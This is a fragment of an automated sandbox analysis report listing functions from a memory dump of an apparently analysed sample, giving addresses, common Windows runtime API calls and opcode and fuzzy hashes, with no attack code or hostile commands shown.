                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FormatInfoLocaleNumber
                                                              • String ID:
                                                              • API String ID: 2169056816-0
                                                              • Opcode ID: 72ea83a0ef802e378706b4a602bd07f797b83ad8960aa93cc4ca8e78fa714378
                                                              • Instruction ID: 23186ff89c908a6ca15cb79f47de3347672fdc7f30ad5fb238a1de1e48d28624
                                                              • Opcode Fuzzy Hash: 72ea83a0ef802e378706b4a602bd07f797b83ad8960aa93cc4ca8e78fa714378
                                                              • Instruction Fuzzy Hash: 7E115E75220349EBEB11DF60EC41FEAB7F8EF08710F105429B602E7251D670A948C774
                                                              Function 00D748AA Relevance: 2.0, Strings: 1, Instructions: 776COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: CMT
                                                              • API String ID: 0-2756464174
                                                              • Opcode ID: 60055fff7de9e37fabda169c9d9a046f94ca48f66cacdf107cdd7411f8c4ebd8
                                                              • Instruction ID: 688b410edebdd7c69fd77090e03263128b0f32f6db8d4bbf6f84d40aa1ad3655
                                                              • Opcode Fuzzy Hash: 60055fff7de9e37fabda169c9d9a046f94ca48f66cacdf107cdd7411f8c4ebd8
                                                              • Instruction Fuzzy Hash: 3362A271A00649AFDF09DF64C881BED7BA4FF15314F088179EC499B286EB74A944CBB1
                                                              Function 00DA86D2 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DA86CD,?,?,00000008,?,?,00DA836D,00000000), ref: 00DA88FF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ExceptionRaise
                                                              • String ID:
                                                              • API String ID: 3997070919-0
                                                              • Opcode ID: efdba734710c0bbf4c9ec086110ce85d0d43b7c0754e05899a9dbcf8a546152a
                                                              • Instruction ID: 0649dc3ddf778346655be5b4c89b4ec82ab4627db394c4231afe99ff1cc5bac0
                                                              • Opcode Fuzzy Hash: efdba734710c0bbf4c9ec086110ce85d0d43b7c0754e05899a9dbcf8a546152a
                                                              • Instruction Fuzzy Hash: D5B16B316106089FD715CF28C48AB657BE0FF46364F298658E8DACF2A1CB39D982DF51
                                                              Function 00D96694 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D966AA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FeaturePresentProcessor
                                                              • String ID:
                                                              • API String ID: 2325560087-0
                                                              • Opcode ID: 9db2194d54cdda753a3ce98334440fde07a315d6a711e285ac6682757d1b378a
                                                              • Instruction ID: 9f61b12897e81c3e132d33ee76b2b2dd165f0ecf0e92282b4f7c6bbb4a15067c
                                                              • Opcode Fuzzy Hash: 9db2194d54cdda753a3ce98334440fde07a315d6a711e285ac6682757d1b378a
                                                              • Instruction Fuzzy Hash: AB5168B1A11306CFEF14CF99D885AAABBF0FB48314F28856AD501EB391E775D940CB60
                                                              Function 00D803BE Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetVersionExW.KERNEL32(?), ref: 00D803ED
                                                                • Part of subcall function 00D80469: __EH_prolog3.LIBCMT ref: 00D80470
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3Version
                                                              • String ID:
                                                              • API String ID: 2775145068-0
                                                              • Opcode ID: 3dd53562f75969fa5df90ad2572295de90537d7c9db52de1a31dc893c8bf9cac
                                                              • Instruction ID: 358f05298488ef7607468ca3b6baf876adb2b63ba2f270f3adc29ed0fb49ac2b
                                                              • Opcode Fuzzy Hash: 3dd53562f75969fa5df90ad2572295de90537d7c9db52de1a31dc893c8bf9cac
                                                              • Instruction Fuzzy Hash: 14F08C30844348CEEBA4FFB8EC097E97FA4AB12348F444568D647A7252DBB8458D8B31
                                                              Function 00D75AFE Relevance: 1.5, Strings: 1, Instructions: 283COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: gj
                                                              • API String ID: 0-4203073231
                                                              • Opcode ID: 0844cde9f8d15c8c7d94ab8a0c73bcbc1adb74654b05457002d1a6c2927a2954
                                                              • Instruction ID: 0fa93cc789a731c3354d42cea2c5de44c1e9ac7aab7872903ad1e1419ff1c876
                                                              • Opcode Fuzzy Hash: 0844cde9f8d15c8c7d94ab8a0c73bcbc1adb74654b05457002d1a6c2927a2954
                                                              • Instruction Fuzzy Hash: 72D137B2A183458FC354CF29D88065AFBE2BFC9308F59492EE998D7301D734A945CF96
                                                              Function 00D96A0B Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetUnhandledExceptionFilter.KERNEL32(Function_00026A20,00D96445), ref: 00D96A10
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled
                                                              • String ID:
                                                              • API String ID: 3192549508-0
                                                              • Opcode ID: 03c81e19294ba2e2f7d86e01783cc3f9d43c23194e512682d137de9784791465
                                                              • Instruction ID: ea6f657076603521a088dacecd5e34949374986b31a17595040f5c5d32befcfe
                                                              • Opcode Fuzzy Hash: 03c81e19294ba2e2f7d86e01783cc3f9d43c23194e512682d137de9784791465
                                                              • Instruction Fuzzy Hash:
                                                              Function 00DA2CE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: HeapProcess
                                                              • String ID:
                                                              • API String ID: 54951025-0
                                                              • Opcode ID: 11b446a149de07ced98a8c7d83ee0766712ca109cdfcb8a3f4cc0068cbc15929
                                                              • Instruction ID: 3f7383af436ede0fc69617c13b1ec5d9b3944f2f05be31c1195d675ecd5fec47
                                                              • Opcode Fuzzy Hash: 11b446a149de07ced98a8c7d83ee0766712ca109cdfcb8a3f4cc0068cbc15929
                                                              • Instruction Fuzzy Hash: F9A002706113028F57404F355A056093595AD4559575554596405C5665D62584509611
                                                              Function 00D8ABC8 Relevance: 1.0, Instructions: 977COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 3656517a269937d65cae0d8ec39795bb2ba0f8e7439345b18be7eaed4085f102
                                                              • Instruction ID: e8d48bb825be1e47bc13a38b238da7754b5b4efb48cd843fd310885373f72425
                                                              • Opcode Fuzzy Hash: 3656517a269937d65cae0d8ec39795bb2ba0f8e7439345b18be7eaed4085f102
                                                              • Instruction Fuzzy Hash: C482F7356047858FCB25EF2CC8906BABBE1AF95314F18895ED8DB8B342D730E945CB21
                                                              Function 00D75F39 Relevance: .9, Instructions: 899COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 436fef025ba8ba0cdd01255ae2c9449e9680e28f7041a62f83dd9be9c7ab0051
                                                              • Instruction ID: 22982e7b187dabe9938dd50cb59c55065794f0eeaa46ebe2c41239dedaa32205
                                                              • Opcode Fuzzy Hash: 436fef025ba8ba0cdd01255ae2c9449e9680e28f7041a62f83dd9be9c7ab0051
                                                              • Instruction Fuzzy Hash: E8823D65D39F899EE303A63884021E7F3A86EF71C9F46D71FF8A431526E721A6C75201
                                                              Function 00D8C27F Relevance: .9, Instructions: 880COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 957e3e4f770764865b5c084bd61d322db280cc563c89754f50ffbe7270592e0c
                                                              • Instruction ID: 04aab643efd09dbefa20c960d4978ecbdcb6328f3806273fb257e3c52dc49611
                                                              • Opcode Fuzzy Hash: 957e3e4f770764865b5c084bd61d322db280cc563c89754f50ffbe7270592e0c
                                                              • Instruction Fuzzy Hash: EA72D471614385CFCB29EF6CC8906A9BBE1FF95304F1895ADD89A8B346D230E945CB31
                                                              Function 00D85214 Relevance: .7, Instructions: 694COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 605082976fd6bcb660ea90b2928608d33a4af8ea1a4694150b2d300d36c2867c
                                                              • Instruction ID: 0761781a81a328f267104a8d9e5726e773f31216686d34e44e8c16a11209560a
                                                              • Opcode Fuzzy Hash: 605082976fd6bcb660ea90b2928608d33a4af8ea1a4694150b2d300d36c2867c
                                                              • Instruction Fuzzy Hash: 5D524B72A187018FC718CF19C891A6AF7E1FFCC304F498A2DE5959B255D334EA19CB86
                                                              Function 00D8BC05 Relevance: .5, Instructions: 537COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 535da77f0c589c2111d639e9a658636a6a9a0de0d99b154edf3dd8e779ed1f58
                                                              • Instruction ID: 25b52f8e70dd9a630ff990307a84ce41c91f032f6f91e3a7ed386d1dbf1cc3fb
                                                              • Opcode Fuzzy Hash: 535da77f0c589c2111d639e9a658636a6a9a0de0d99b154edf3dd8e779ed1f58
                                                              • Instruction Fuzzy Hash: AC12E170214706DFD728EF28C890BB9B7E0FF48314F14892EE59AC7281E774A995CB25
                                                              Function 00D846CF Relevance: .3, Instructions: 330COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: bbd026aa9f37a7a3ce253f93a8111fa17864482b23a56bef1140d59b23fefee2
                                                              • Instruction ID: e3ac0e505606025d036f018dfa5122f1bddbcfa32a44989e0e94b58d6ff2882d
                                                              • Opcode Fuzzy Hash: bbd026aa9f37a7a3ce253f93a8111fa17864482b23a56bef1140d59b23fefee2
                                                              • Instruction Fuzzy Hash: 2DE14BB45083928FC344CF29D49086ABBF0BB9E300F4A495EF5D597352D235EA16DFA2
                                                              Function 00D8A222 Relevance: .3, Instructions: 279COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: c35800b5980e612f20ecb58c8d41eaa35f1b7cbf6b9efdb8ef4aea9d1a0d9349
                                                              • Instruction ID: 0de25d17d9d42d49b268366ebb04258ad98d176b8bf18a50fb6b8e17d6ac9f18
                                                              • Opcode Fuzzy Hash: c35800b5980e612f20ecb58c8d41eaa35f1b7cbf6b9efdb8ef4aea9d1a0d9349
                                                              • Instruction Fuzzy Hash: 3D9124712043418FEB25EF6CC895BAE77D1EB90314F18493EE9CA8B282D67499858773
                                                              Function 00D9C0D6 Relevance: .2, Instructions: 237COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: a9c14e37b60b603dd47bfd0cc7bd665f5ec08c7206b9b2908177a5aee584c6fc
                                                              • Instruction ID: 7fa71f0e5d2bdee301bd7397c2e5fab6707040d4e20a49ae7510ec527fc529e6
                                                              • Opcode Fuzzy Hash: a9c14e37b60b603dd47bfd0cc7bd665f5ec08c7206b9b2908177a5aee584c6fc
                                                              • Instruction Fuzzy Hash: 9D616A31630708A7EF388BA898967BE7394DF15704F58351AE883FB292D611DD42837D
                                                              Function 00D9BEA7 Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
                                                              • Instruction ID: ef6c44571ebe94c9c54fa96ebc13e2cc3aa2d4ee3cdb2a6e4e8886daf04939cc
                                                              • Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
                                                              • Instruction Fuzzy Hash: BC5177213107499BDF348E69AB567FE2B99DF02320F1D150BE98AC7682C706DD05D771
                                                              Function 00D84D32 Relevance: .2, Instructions: 171COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 05e19430c7341038d21c3bcc5d87e92adc147829431b9e23154dcf96bd12b9ef
                                                              • Instruction ID: 8983e8091dcf27cb74ea5a6dd6bec7275249160c1fcb4ff0cac8378c9cc58578
                                                              • Opcode Fuzzy Hash: 05e19430c7341038d21c3bcc5d87e92adc147829431b9e23154dcf96bd12b9ef
